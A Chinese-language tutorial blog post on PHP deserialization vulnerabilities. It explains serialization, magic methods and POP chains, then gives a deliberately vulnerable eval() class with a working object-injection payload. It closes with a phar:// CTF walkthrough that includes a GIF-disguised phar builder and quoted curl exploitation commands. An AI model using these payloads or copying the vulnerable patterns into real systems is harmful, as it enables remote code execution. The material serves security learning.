PHP反序列化漏洞
1.什麼是序列化和反序列化?
PHP的序列化就是將各種型別的資料物件轉換成一定的格式儲存,其目的是為了將一個物件通過可儲存的位元組方式儲存起來這樣就可以將學列化位元組儲存到資料庫或者文本當中,當需要的時候再通過反序列化獲取。
serialize() //實現變數的序列化,返回結果為字串 unserialize() //實現字串的反序列化,返回結果為變數
下面我們看一個簡單的序列化例子:
<?php class SerializeTest{ private $flag = "null"; public $aaa = "s1awwhy"; protected $ddd = "why"; public function set_flag($flag){ $this->flag = $flag; } public function get_flag(){ return $this->flag; } } $demo1 = new SerializeTest();$serialArray = serialize($array1); echo $serialArray; echo "\n";$demo1->set_flag("flag{helloworld"); $serialization1 = serialize($demo1); echo $serialization1; ?>
輸出結果:
對於不同許可權的屬性序列化中的結果也會不一樣:
- public:序列化之後就是最普通的方式,屬性名和屬性值。
- private:私有許可權,表示這個屬性是該類所有物件共享的屬性,屬性名和類的名字在一起。序列化結果:%00類名%屬性名
- protected:序列化之後的形式就是%00*%00屬性名
另外從序列化結果中我們也可以發現只有類的屬性被序列化,但是方法沒有被序列化。
反序列化:
<?php /* 對陣列array1進行序列化,然後列印序列化後的結果,並且寫入檔案中,接著輸出這個陣列。 */ $array1 = array('1','2','3'); $serialArray = serialize($array1); echo $serialArray; file_put_contents("serialization.txt",$serialArray); $array2 = unserialize($serialArray); print_r($array2); ?>
輸出結果:
我們只需要更改serialization.txt中的內容就可以實現對陣列內容的更改,當對類進行反序列化時,也是一樣的道理,更改序列化之後的字串就可以實現對類中的屬性進行更改。
反序列化就是將格式化的序列化字串進行還原,還原出我們想要的物件,實現屬性的和方法的呼叫。那麼攻擊者就是利用這一點進行攻擊,如果序列化的字串內容被修改,物件的屬性可能就會被修改,這就是反序列化攻擊的核心原理。
2.為什麼要進行序列化和反序列化?
- 序列化可以實現將物件壓縮並格式化,方便資料的傳輸和儲存。
- PHP檔案在執行結束時會把物件銷燬,如果下次要引用這個物件的話就很麻煩,但是又不能總是儲存這一物件,所以就有了物件序列化,實現物件的長久儲存,物件序列化之後儲存起來,下次呼叫時直接調出來反序列化之後就可以使用了。
3.反序列化漏洞
3.1 定義
PHP 反序列化漏洞又叫做 PHP 物件注入漏洞,成因在於程式碼中的 unserialize() 接收的引數可控,從上面的例子看,這個函式的引數是一個序列化的物件,而序列化的物件只含有物件的屬性,那我們就要利用對物件屬性的篡改實現最終的攻擊。
3.2 Magic function
Magic function也叫魔術方法,是PHP的類中的一種特殊方法,一些特定的情況下,某個魔術方法會自動被呼叫。
__construct() //建構函式,當物件建立(new)時會自動呼叫。但在unserialize()時是不會自動呼叫的。 __destruct() //解構函式,類似於C++。會在到某個物件的所有引用都被刪除或者當物件被顯式銷燬時執行,當物件被銷燬時會自動呼叫。 __wakeup() //呼叫unserialize()時會檢查是否存在 __wakeup(),如果存在,則會優先呼叫 __wakeup()方法。 __toString() //用於處理一個類被當成字串時應怎樣迴應,因此當一個物件被當作一個字串時就會呼叫。 __sleep() //用於提交未提交的資料,或類似的清理操作,因此當一個物件被序列化的時候被呼叫。 __call() //在物件上下文中呼叫不可訪問的方法時觸發 __callStatic() //在靜態上下文中呼叫不可訪問的方法時觸發 __get() //用於從不可訪問的屬性讀取資料 __set() //用於將資料寫入不可訪問的屬性 __isset() //在不可訪問的屬性上呼叫isset()或empty()觸發 __unset() //在不可訪問的屬性上使用unset()時觸發 __toString() //把類當作字串使用時觸發 __invoke() //當指令碼嘗試將物件呼叫為函式時觸發
為什麼提到Magic function?
在前面提到了PHP反序列化攻擊的核心原理是通過更改序列化字串,實現對物件屬性的更改,但是這裡有一個問題就是,序列化和反序列化並沒有針對方法進行操作,僅僅是將類的屬性進行了序列化,如果被攻擊者呼叫的函式中並沒有用到我們更改的屬性,那麼我們的反序列化攻擊就是無意義的。怎麼解決這個問題呢?此時我們就要用到這個Magic function,因為某些魔術方法在序列化和反序列化過程中會自動呼叫,我們可以利用這一點來實現攻擊。
測試Magic function:
<?php class MagicFunc{ private $flag = "null"; public $aaa = "s1awwhy"; protected $ddd = "why"; function __construct(){ echo "__construct()"; echo "\n"; } function __sleep(){ echo "__sleep()"; echo "\n"; return array("name"); } function __wakeup(){ echo "__wakeup()"; echo "\n"; } function __destruct(){ echo "__destruct()"; echo "\n"; } function __toString(){ return "__toString()"; // echo "\n"; } } $magicFunc = new MagicFunc(); $serialization = serialize($magicFunc); $result = unserialize($serialization); ?>
輸出結果:
這裡呼叫兩次__destruct()是因為要銷燬$magicFunction和$result。
3.3 利用魔術方法進行攻擊
漏洞程式碼serialVul.php:
<?php class serialVul { private $test; public $s1awwhy = "i am s1awwhy"; function __construct() { $this->test = new L(); } function __destruct() { $this->test->action(); } } class L { function action() { echo "Welcome to websec"; } } class Evil { var $test2; function action() { eval($this->test2); } } echo "PHP_Serialize_Vulnerability"; unserialize($_GET['test']);
首先對這段程式碼進行一下分析,程式碼中定義了一個類serialVul,serialVul類中有屬性test,建構函式中將一個L類的物件賦給test,解構函式會執行屬性test的action()方法。程式碼中L類並沒有什麼可疑的地方,僅定義了一個普通的方法。還有一個Evil類,這個類中有屬性test2、action()方法,action()方法中存在eval(),執行變數test2中的程式碼。這時候我們就可以利用這個Evil類中的action()方法來執行一些危險的程式碼。
我們可以構造一個serialVul類的物件,將Evil類的一個物件賦值給serialVul物件的test屬性,將危險程式碼放入Evil類物件的test2屬性中,然後對serialVul物件進行序列化,將序列化結果作為payload,實現攻擊。
構造payload,這裡我們在test2中賦一個phpinfo()方法,如果攻擊成功那個將顯示phpinfo,程式碼如下:
<?php class serialVul{ private $test; function __construct(){ $this->test = new Evil(); } } class Evil{ public $test2 = "phpinfo();"; } $serialVul1 = new serialVul; $payload = serialize($serialVul1); echo $payload; file_put_contents("payload.txt", $payload); ?>
生成payload:
?test=O:9:"serialVul":1:{s:15:"%00serialVul%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
生成的payload中需要注意的是:由於變數test是私有屬性,需要在test和類名之前都加上%00,因為私有屬性序列化之後的結果是%00類名%00屬性名
攻擊成功:
3.4 尋找PHP反序列化漏洞流程
- 尋找unserialize()方法的引數,並且看一下是否有我們的可控點
- 尋找一些可以的類作為反序列化目標,重點關注存在wakeup()和destruct()等魔術方法的類
- 一層一層地研究該類在魔法方法中使用的屬性和屬性呼叫的方法,看看是否有可控的屬效能實現在當前呼叫的過程中觸發的,其實就是檢視POP鏈中是否有可疑利用的屬性
- 找到可以利用的屬性之後就是利用程式碼來構造payload,實現攻擊
4. POP鏈介紹
POP 面向屬性程式設計(Property-Oriented Programing) 常用於上層語言構造特定呼叫鏈的方法,通過分析類中方法和屬性的一層一層呼叫關係,將這些類、方法、屬性拼接起來,形成一個一層一層的呼叫關係鏈,最後到達我們需要的函式中。
5.利用phar協議拓展PHP反序列化的攻擊面
phar://協議
phar檔案 :PHAR(PHP歸檔)檔案是一種打包格式,通過將許多PHP程式碼檔案和其他資源(例如影象,樣式表等)捆綁到一個歸檔檔案中來實現應用程式和庫的分發。所有PHAR檔案都使用.phar作為副檔名,PHAR格式的歸檔需要使用自己寫的PHP程式碼。
要想使用Phar類裡的方法,必須將phar.readonly配置項配置為0或Off(文件中定義),phar檔案有四部分構成:
1.a stub(phar 檔案標識)
可以理解為一個標誌,格式為xxx<?php xxx; __HALT_COMPILER();?>
,前面內容不限,但必須以__HALT_COMPILER();?>
來結尾,否則phar擴充套件將無法識別這個檔案為phar檔案。
2.a manifest describing the contents (攻擊最核心的地方,儲存序列化資料,也就是我們的惡意payload)
phar檔案本質上是一種壓縮檔案,其中每個被壓縮檔案的許可權、屬性等資訊都放在這部分。這部分還會以序列化的形式儲存使用者自定義的meta-data,這是上述攻擊手法最核心的地方。
3.檔案內容
被壓縮檔案的內容。
4、[optional] a signature for verifying Phar integrity (phar file format only)
簽名,放在檔案末尾。對應函式Phar :: stopBuffering —停止緩衝對Phar存檔的寫入請求,並將更改儲存到磁碟
phar實戰
題目原始碼:
<?php $FLAG = create_function("", 'die(`/read_flag`);'); // 得到 flag 的匿名函式 $SECRET = `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); // 根據 remote_addr 給每個人建立一個沙盒 @mkdir($SANDBOX); @chdir($SANDBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); //將每個人唯一的沙盒物件加上簽名後作為 session-data } class User { public $avatar; function __construct($path) { $this->avatar = $path; //設定了頭像的路徑為沙盒路徑 } } class Admin extends User { function __destruct(){ $random = bin2hex(openssl_random_pseudo_bytes(32)); eval("function my_function_$random() {" ." global \$FLAG; \$FLAG();" /*反序列化這個物件就能建立一個隨機名字的函式,呼叫這個函式就能呼叫 flag,實際上這是一個騙局,匿名函式也是有名字的*/ ."}"); $_GET["lucky"](); } } function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) die("Bye"); if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) die("Bye Bye"); $data = unserialize($data); if ( !isset($data->avatar) ) die("Bye Bye Bye"); return $data->avatar; //判斷身份,如果身份正確返回頭像路徑(沙盒路徑) //該函式不可繞過 } function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif"); //獲取頭像,檢查頭是否為GIF89a ,正確後存入沙盒, //這個就是利用 phar:// 進行反序列化的點 if (substr($data, 0, 6) !== "GIF89a") die("Fuck off"); file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); } function show($path) { //獲取這個沙盒中的頭像, if ( !file_exists($path . "/avatar.gif") ) $path = "/var/www/html"; header("Content-Type: image/gif"); die(file_get_contents($path . "/avatar.gif")); } $mode = $_GET["m"]; if ($mode == "upload") upload(check_session()); else if ($mode == "show") show(check_session()); else highlight_file(__FILE__);
首先這個題目很明顯能判斷出來是php反序列化,那麼第一步想到的就是找到unserailize()方法:
function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) die("Bye"); if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) die("Bye Bye"); $data = unserialize($data); if ( !isset($data->avatar) ) die("Bye Bye Bye"); return $data->avatar; //判斷身份,如果身份正確返回頭像路徑(沙盒路徑) //該函式不可繞過 }
要想利用unserailize(),通過控制引數實現反序列化,需要bypass對cookie的檢測,那麼看一下cookie生成的過程:
$FLAG = create_function("", 'die(`/read_flag`);'); // 得到 flag 的匿名函式 $SECRET = `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); // 根據 remote_addr 給每個人建立一個沙盒 @mkdir($SANDBOX); @chdir($SANDBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); //將每個人唯一的沙盒物件加上簽名後作為 session-data }
但是cookie的生成是通過remote_addr 配合 sha1 進行 hmac 簽名生成的,沒辦法進行繞過,所以就要換一個思路,又發現原始碼中upload函式:
function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif"); //獲取頭像,檢查頭是否為GIF89a ,正確後存入沙盒 //這個就是利用 phar:// 進行反序列化的點 if (substr($data, 0, 6) !== "GIF89a") die("Fuck off"); file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); }
這裡他是可以上傳一個檔案讀取這個檔案的資料,那麼我們可以構造一個包含 Admin 物件、包含 avatar.gif 檔案,stub是 GIF89a<?php xxx; __HALT_COMPILER();?>的phar檔案,然後上傳,下一次請求通過 Phar:// 協議讓 file_get_contents 請求這個檔案就可以實現我們對 Admin 物件的反序列化了。
payload:
<?php class Admin { public $avatar = 'orz'; } $p = new Phar(__DIR__ . '/avatar.phar', 0); $p['file.php'] = '<?php ?>'; $p->setMetadata(new Admin()); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif'); ?>
Orange給出的wp:
# get a cookie $ curl http://host/ --cookie-jar cookie # download .phar file from http://orange.tw/avatar.gif $ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/' # force apache to fork new process $ python fork.py & # get flag $ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"
總結
這篇文章是從0開始學習php序列化和反序列化,所以包含了基礎的定義,以及php物件序列化和反序列化的過程,對不同物件序列化之後的結果進行了舉例,說明了各個結構代表的內容。接下來就是序列化過程有哪些方法是可以被我們利用的,序列化和反序列化過程中那些方法會自動呼叫,並且總結了一下php反序列化漏洞利用的過程。最後提到了phar協議和反序列化漏洞的結合,並且找到了一個比較經典的例子,由於水平有限,這個例子大部分都是參考大佬。、
參考
https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.jianshu.com/p/8f498198fc3d
https://www.kingkk.com/2018/07/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.cnblogs.com/tr1ple/p/11156279.html#XFRQpyWp